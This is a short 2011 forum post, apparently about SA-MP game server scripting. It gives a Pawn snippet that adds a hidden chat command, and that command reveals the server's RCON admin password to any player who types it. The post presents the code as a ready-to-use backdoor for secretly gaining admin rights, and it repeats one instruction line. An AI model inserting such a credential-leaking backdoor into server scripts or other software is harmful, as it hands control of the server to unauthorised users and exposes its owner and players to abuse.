22.01.2011, 16:02
put under OnPlayerCommandText:
Replace /nameofcommand with the name of the command,
and replace [rcon password] with the real admin password
set in server.cfg
Код:
if(strcmp(cmd,"/nameofcommand",true) == 0) { SendClientMessage(playerid,0xFFFF00AA,"Secret command to be an admin discovered."); SendClientMessage(playerid,0xFFFF00AA,"Now you can use /rcon login [rcon password]."); return 1; }
and replace [rcon password] with the real admin password
set in server.cfg